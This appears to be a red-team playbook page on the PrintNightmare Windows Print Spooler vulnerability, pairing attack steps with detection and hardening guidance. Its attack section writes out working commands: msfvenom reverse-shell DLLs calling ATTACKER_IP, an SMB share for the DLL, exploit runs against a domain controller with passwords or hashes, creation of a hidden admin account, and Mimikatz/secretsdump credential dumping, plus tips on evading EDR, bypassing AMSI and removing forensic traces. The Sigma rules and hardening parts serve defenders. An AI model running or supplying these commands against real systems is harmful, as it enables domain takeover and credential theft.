title: "Attack #43 β PrintNightmare (CVE-2021-34527)" description: "PrintNightmare is a critical RCE vulnerability in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEMβ¦" category: active-directory subcategory: "Domain Controller Attacks" tags: ["active-directory", "credential-access", "privilege-escalation"] tools: ["Impacket", "Mimikatz", "Metasploit", "Meterpreter", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Five/π΅ Attack #43 β PrintNightmare (CVE-2021-34527).md"#
π΅ Attack #43 β PrintNightmare (CVE-2021-34527)#
π How It Works#
PrintNightmare is a critical RCE vulnerability in the Windows Print Spooler service that allows an authenticated user to execute arbitrary code as SYSTEM on any Windows machine with the Print Spooler running β including Domain Controllers. The vulnerability exists in the RpcAddPrinterDriverEx function, which doesn't properly validate the caller's permissions before loading a DLL.
[!info]+ Technical Deep-Dive β RpcAddPrinterDriverEx Privilege Bypass
- The Windows Print Spooler exposes
RpcAddPrinterDriverEx(MS-RPRN OpNum 89) to allow remote printer driver installation- The function accepts a
DRIVER_INFO_2structure containing the path to a DLL file β intended to be a legitimate printer driver- The vulnerability: The function checks
SeLoadDriverPrivilegebut the check is bypassable β any authenticated user can call the function whenAPD_INSTALL_WARNED_DRIVER(0x8000) flag is set- The attacker hosts a malicious DLL on an SMB share accessible from the target
- The target's Print Spooler service loads the DLL as SYSTEM β executing arbitrary code with the highest privileges
- On a DC, SYSTEM-level execution β DCSync (Attack #37) β full domain compromise
[!important]+ Two CVEs β RCE vs LPE
fas:TriangleExclamation
- CVE-2021-1675 (June 2021) β Originally classified as Local Privilege Escalation (LPE) only; patched in June 2021 Patch Tuesday
- CVE-2021-34527 (July 2021) β The Remote Code Execution (RCE) variant; the June patch was incomplete and didn't fix the remote vector
- Both exploit the same underlying issue in
RpcAddPrinterDriverExbut via different attack paths:
- LPE (CVE-2021-1675): Load malicious DLL from a local path β SYSTEM on the local machine
- RCE (CVE-2021-34527): Load malicious DLL from a remote SMB share β SYSTEM on the remote machine
- The July 2021 out-of-band patch (KB5004945) addresses the RCE vector; additional hardening (Point and Print restrictions) was added in August 2021
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Any domain user credentials | Authentication required (any domain user, no admin needed) |
| Print Spooler running on target | Default enabled on all Windows machines |
| Target is unpatched | RCE patched July 2021 (KB5004945); LPE patched June 2021 |
| SMB share accessible (RCE) | Attacker must host a DLL on an SMB share reachable from the target |
| Local file path (LPE) | For the LPE variant, DLL must be on the local filesystem |
π οΈ Tools#
| Tool | Platform | Version | Notes |
|---|---|---|---|
| CVE-2021-1675.py | Linux/Python | cube0x0's fork of Impacket | RCE exploit β requires modified Impacket |
| printnightmare.py | Linux/Python | Python 3 | Alternative script name for the same exploit |
| SharpPrintNightmare | Windows (.NET) | Latest | C# exploit for C2 execute-assembly β both LPE and RCE |
| CVE-2021-1675.ps1 | Windows/PowerShell | Latest | PowerShell LPE exploit (Invoke-Nightmare) β creates local admin user |
| Impacket β smbserver.py | Linux | β₯ 0.9.23 | Host malicious DLL on an SMB share |
| msfvenom | Linux | Metasploit β₯ 6.0 | Generate malicious DLL payloads (reverse shell, adduser, etc.) |
[!tip]+ Impacket Version Note
fas:Lightbulb
- cube0x0's exploit requires a modified version of Impacket that supports
SMB_DIALECT_30β the standard Impacket may fail with SMB3 negotiation errors- Install from cube0x0's fork:
pip install git+https://github.com/cube0x0/impacket- Or use the standard Impacket with the
--no-smb3flag if available in your exploit version- As of Impacket 0.12.0+, SMB3 support is native β the fork may no longer be necessary
β±οΈ Time-to-Execute Estimates#
| Operation | Time | Notes |
|---|---|---|
| DLL generation (msfvenom) | 5β10 seconds | Quick payload compilation |
| SMB server setup | 2β3 seconds | Start smbserver.py |
| RCE exploitation | 5β15 seconds | DLL loads as SYSTEM; callback received |
| LPE exploitation (PowerShell) | 3β10 seconds | Local admin user created |
| Full chain (exploit DC β DCSync) | 30β60 seconds | SYSTEM on DC β immediate DCSync |
π» Full Commands#
π΄ RCE β Remote Code Execution (CVE-2021-34527)#
# ββ Step 1: Generate malicious DLL payload ββββββββββββββββββββββββββββββββββββ
# Reverse shell DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-f dll -o evil.dll
# Meterpreter DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
-f dll -o evil.dll
# Add local admin user DLL (custom C code compiled):
# The DLL's DllMain runs: net user hacker P@ss123! /add && net localgroup Administrators hacker /add
# ββ Step 2: Host malicious DLL on SMB share βββββββββββββββββββββββββββββββββββ
smbserver.py share /path/to/dll/ -smb2support
# Share available at: \\ATTACKER_IP\share\evil.dll
# ββ Step 3: Exploit (cube0x0 β Impacket) βββββββββββββββββββββββββββββββββββββ
python3 CVE-2021-1675.py corp.local/low_user:'Password1'@DC01.corp.local \
'\\ATTACKER_IP\share\evil.dll'
# DLL executes as SYSTEM on DC01 β reverse shell or local admin created
# ββ Alternative: printnightmare.py ββββββββββββββββββββββββββββββββββββββββββββ
python3 printnightmare.py corp.local/low_user:'Password1'@DC01.corp.local \
-dll '\\ATTACKER_IP\share\evil.dll'
# ββ With Pass-the-Hash ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 CVE-2021-1675.py corp.local/low_user@DC01.corp.local \
-hashes :aabbccdd11223344 '\\ATTACKER_IP\share\evil.dll'
SharpPrintNightmare (C# β for C2)#
# ββ RCE variant via C2 execute-assembly βββββββββββββββββββββββββββββββββββββββ
execute-assembly /path/to/SharpPrintNightmare.exe \\ATTACKER_IP\share\evil.dll \\DC01.corp.local
# ββ LPE variant (local priv esc on current machine) ββββββββββββββββββββββββββ
execute-assembly /path/to/SharpPrintNightmare.exe C:\Temp\evil.dll
π΄ LPE β Local Privilege Escalation (CVE-2021-1675)#
# ββ PowerShell PoC (Invoke-Nightmare) βββββββββββββββββββββββββββββββββββββββββ
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssword123!"
# Creates local admin user "hacker" via Print Spooler exploitation
# Runs entirely locally β no SMB share needed
# ββ Verify the user was created βββββββββββββββββββββββββββββββββββββββββββββββ
net user hacker
net localgroup Administrators
π΄ Post-Exploitation (After SYSTEM on DC)#
# ββ If you got a SYSTEM shell on a DC, immediately DCSync βββββββββββββββββββββ
# From the SYSTEM shell:
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:corp.local /all /csv
# ββ Or from Linux with the new local admin ββββββββββββββββββββββββββββββββββββ
secretsdump.py corp.local/hacker:'P@ssword123!'@DC01.corp.local \
-just-dc -outputfile domain_dump
π― OPSEC Tips#
- PrintNightmare exploitation is VERY noisy β the DLL loading generates multiple events (driver installation, service creation, Sysmon image load) and most EDR solutions detect it immediately
- Use the LPE variant for lateral movement when you already have a foothold on a machine β it's less visible than remote RCE because no SMB share access is needed
- The SMB share must be accessible from the target β if outbound SMB is firewalled from the DC, the DLL can't be loaded; consider hosting on an already-compromised internal host
- Custom DLLs are stealthier than msfvenom payloads β msfvenom DLL signatures are well-known; compile a custom DLL with adduser or reverse shell code
- Clean up after exploitation β the printer driver and DLL persist on the target; remove them to reduce forensic evidence
- Target workstations, not DCs, when possible β exploiting a workstation is less monitored than a DC; then use lateral movement to reach the DC
π OpSec Ranking#
| Method | Stealth | Speed | Reliability | Notes |
|---|---|---|---|---|
| LPE (PowerShell Invoke-Nightmare) | π‘ Medium | π’ Fast | π’ High | Local only; detected by PowerShell logging |
| RCE (cube0x0 + msfvenom DLL) | π΄ Low | π’ Fast | π‘ Medium | SMB share + known DLL signature = easy detection |
| RCE (custom compiled DLL) | π‘ Medium | π’ Fast | π‘ Medium | Better than msfvenom but driver install still logged |
| SharpPrintNightmare (C2) | π‘ Medium | π’ Fast | π‘ Medium | In-memory execution avoids disk artifacts |
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 808 | PrintService/Admin | Printer driver installation failed/suspicious β DLL load events from Print Spooler |
| 316 | PowerShell | PowerShell script execution β Invoke-Nightmare or CVE-2021-1675.ps1 |
| 7045 | System Log | New service/driver installed β Print Spooler loading a new "printer driver" |
| 4688 | Security Log | Process creation from spoolsv.exe β child processes spawned by the malicious DLL |
| Sysmon 7 | Sysmon | Image loaded β DLL loaded by spoolsv.exe from non-standard path (SMB share or temp directory) |
| Sysmon 11 | Sysmon | File creation β DLL file written to C:\Windows\System32\spool\drivers\x64\ |
| Sysmon 1 | Sysmon | Process creation β cmd.exe or powershell.exe spawned as child of spoolsv.exe |
| Sysmon 3 | Sysmon | Network connection β spoolsv.exe connecting to attacker SMB share |
π Sigma Rules#
# ββ SigmaHQ β PrintNightmare Exploitation (Spooler Child Process) βββββββββββββ
title: PrintNightmare Exploitation β Suspicious Spooler Child Process
id: dca4d40b-printnight-spooler-child
status: stable
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\spoolsv.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\rundll32.exe'
- '\net.exe'
- '\net1.exe'
condition: selection
level: critical
tags:
- attack.execution
- attack.t1210
- cve.2021.34527
# ββ SigmaHQ β Suspicious DLL Loaded by Spooler βββββββββββββββββββββββββββββββ
title: DLL Loaded by Print Spooler from Non-Standard Path
id: b5c6d7e8-spooler-dll-load
logsource:
product: windows
category: image_load
detection:
selection:
Image|endswith: '\spoolsv.exe'
filter_legitimate:
ImageLoaded|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\SysWOW64\'
condition: selection and not filter_legitimate
level: critical
π‘οΈ EDR-Specific Detections#
[!warning]+ Microsoft Defender for Identity (MDI) / Defender for Endpoint
- "Suspicious printer driver installation" β detects
RpcAddPrinterDriverExcalls from non-admin users- "Suspicious DLL loading by spoolsv.exe" β behavioral detection for Print Spooler loading DLLs from SMB shares or temp directories
- Defender for Endpoint has specific PrintNightmare detections that trigger on both the LPE and RCE variants
- Microsoft considers this a high-priority detection β Defender updates within 24 hours of CVE disclosure included signatures
[!warning]+ CrowdStrike Falcon
- "PrintNightmare Exploitation Detected" β high-fidelity behavioral detection for RpcAddPrinterDriverEx exploitation
- "Malicious DLL Loaded by Spooler Service" β monitors spoolsv.exe DLL loading from non-standard paths
- Process tree analysis:
spoolsv.exe β cmd.exeorspoolsv.exe β rundll32.exe= critical alert
[!warning]+ Elastic Security
- Rule: "PrintNightmare β Suspicious DLL Loaded by Spooler" β Sysmon Event 7 correlation
- Rule: "Suspicious Child Process of Spooler Service" β process creation monitoring
- Rule: "Remote Printer Driver Installation" β network-level detection for remote
RpcAddPrinterDriverExcalls
π¬ Forensic Artifacts#
| Artifact | Location | Details |
|---|---|---|
| Printer driver DLL | C:\Windows\System32\spool\drivers\x64\3\ |
The malicious DLL is copied to the driver store β persists after exploitation |
| Event 808 | PrintService/Admin log | Driver installation event with DLL path |
| Event 7045 | System Log | New service/driver installed β includes driver name |
| spoolsv.exe child processes | Event 4688 / Sysmon 1 | cmd.exe, powershell.exe, or other executables spawned by spoolsv.exe |
| SMB connection | Sysmon 3 / network capture | spoolsv.exe connecting to attacker's SMB share to load the DLL |
| New local user (LPE variant) | net user / SAM registry |
If Invoke-Nightmare was used, a new local admin account exists |
| Prefetch | C:\Windows\Prefetch\ |
SPOOLSV.EXE prefetch file shows loaded DLLs |
| Registry | HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\ |
Driver registration entries |
[!important]+ Windows Server Version & Patch Timeline
- June 2021 (KB5003637): CVE-2021-1675 patch β addresses LPE only; RCE still exploitable
- July 2021 (KB5004945): Out-of-band emergency patch for CVE-2021-34527 β addresses RCE; but incomplete β researchers found bypasses
- August 2021 (KB5005565): Additional hardening β
RestrictDriverInstallationToAdministratorsregistry key; Point and Print restrictions- Server 2012 R2: Vulnerable; patches available
- Server 2016: Vulnerable; patches available;
RestrictDriverInstallationToAdministratorsrecommended- Server 2019: Vulnerable; same patch timeline; CVE re-exploitable with Point and Print misconfiguration
- Server 2022: Shipped with fixes included; Point and Print restrictions enabled by default
- Server 2025: Print Spooler hardened;
RestrictDriverInstallationToAdministrators = 1by default; Point and Print disabled by default- Multiple patch bypasses were discovered after each fix β the definitive mitigation is disabling Print Spooler on servers that don't need it
π Hardening & Prevention#
# ββ 1. Disable Print Spooler on DCs and servers (most effective) ββββββββββββββ
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# ββ 2. GPO β Disable Spooler on server OUs βββββββββββββββββββββββββββββββββββ
# Computer Configuration β Policies β Windows Settings β Security Settings β
# System Services β Print Spooler β Startup Type: Disabled
# ββ 3. Restrict printer driver installation to admins only ββββββββββββββββββββ
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "RestrictDriverInstallationToAdministrators" -Value 1 -Type DWord
# ββ 4. Disable Point and Print restrictions βββββββββββββββββββββββββββββββββββ
# GPO β Computer Configuration β Admin Templates β Printers β
# "Point and Print Restrictions" = Disabled
# Or registry:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "NoWarningNoElevationOnInstall" -Value 0 -Type DWord
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" `
-Name "UpdatePromptSettings" -Value 0 -Type DWord
# ββ 5. Restrict Point and Print to approved servers ββββββββββββββββββββββββββ
# GPO β Computer Configuration β Admin Templates β Printers β
# "Package Point and Print - Approved Servers" = Enabled
# Server list: only legitimate print servers
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" `
-Name "PackagePointAndPrintServerList" -Value 1 -Type DWord
# ββ 6. Apply all patches βββββββββββββββββββββββββββββββββββββββββββββββββββββ
# June 2021: KB5003637 (LPE fix)
# July 2021: KB5004945 (RCE fix)
# August 2021: KB5005565 (hardening β Point and Print restrictions)
# Verify: Get-HotFix | Where-Object { $_.HotFixID -match 'KB5004945|KB5005565' }
# ββ 7. Monitor spoolsv.exe for suspicious child processes ββββββββββββββββββββ
# Sysmon config:
# <ProcessCreate onmatch="include">
# <ParentImage condition="end with">spoolsv.exe</ParentImage>
# </ProcessCreate>
# <ImageLoad onmatch="include">
# <Image condition="end with">spoolsv.exe</Image>
# </ImageLoad>
π§© Troubleshooting#
| Error | Cause | Fix |
|---|---|---|
STATUS_ACCESS_DENIED on exploit |
Target is patched (July 2021+) | Verify patch status; if patched, this attack path is closed β try other escalation methods |
DLL not loading β Path not found |
SMB share not accessible from target or wrong UNC path | Verify \\ATTACKER_IP\share\evil.dll is accessible; ensure smbserver.py is running with -smb2support |
| Exploit succeeds but no callback | DLL payload issue or outbound connection blocked | Test DLL locally first; verify attacker listener is running; check firewall allows outbound from target |
Invoke-Nightmare fails with execution policy |
PowerShell constrained language mode or AMSI | Bypass: powershell -ep bypass; for AMSI: use in-memory bypass or use the C# variant instead |
cube0x0 exploit: SMB3 negotiation failed |
Standard Impacket doesn't support required SMB dialect | Install cube0x0's Impacket fork: pip install git+https://github.com/cube0x0/impacket |
| DLL loads but crashes spoolsv.exe | DLL architecture mismatch (x86 vs x64) or bad DLL | Generate x64 DLL: msfvenom -a x64 ...; ensure DLL exports DllMain correctly |
| Exploit works once but subsequent attempts fail | Spooler service crashed and hasn't restarted | Wait for auto-restart or manually restart: sc \\DC01 start Spooler (if you have access) |
| Point and Print bypass doesn't work | August 2021 hardening applied correctly | RestrictDriverInstallationToAdministrators = 1 blocks all bypasses β this attack path is fully closed |
πΊοΈ MITRE ATT&CK#
| Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
|---|---|---|---|---|
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | LPE via CVE-2021-1675 β load malicious DLL as SYSTEM via Print Spooler | Multiple ransomware groups (Magniber, Vice Society) |
| Lateral Movement | T1210 | Exploitation of Remote Services | RCE via CVE-2021-34527 β remotely load DLL on target machine as SYSTEM | Magniber ransomware |
| Execution | T1569 | .002 β Service Execution | Malicious DLL executed as a printer driver service by spoolsv.exe | Chained technique |
[!tip]+ Real-World Exploitation
fas:Lightbulb
- Magniber ransomware β One of the first ransomware families to incorporate PrintNightmare within weeks of disclosure; targeted South Korean organizations
- Vice Society β Used PrintNightmare for initial access and lateral movement in education sector attacks
- CISA Alert AA21-179A β Emergency alert warning of active PrintNightmare exploitation in the wild
- PrintNightmare was weaponized faster than almost any other vulnerability in 2021 β within 48 hours of the PoC being accidentally published on GitHub, active exploitation was detected
π Attack Chain Context#
[PrintNightmare] βββ RCE as SYSTEM on any Windows host
β
ββββ π₯ CVE-2021-34527 (RCE) + CVE-2021-1675 (LPE)
ββββ π On DC: SYSTEM β DCSync (Attack #37) β full domain compromise
ββββ π On workstation: SYSTEM β credential dumping β lateral movement
ββββ π Related: PrinterBug (Attack #42) β also Print Spooler, but coercion not RCE
ββββ π Multiple incomplete patches β verify ALL patches + registry hardening
ββββ π Defeated by: July 2021 patches + August 2021 hardening, disable Print Spooler
β Attack #43 β PrintNightmare complete.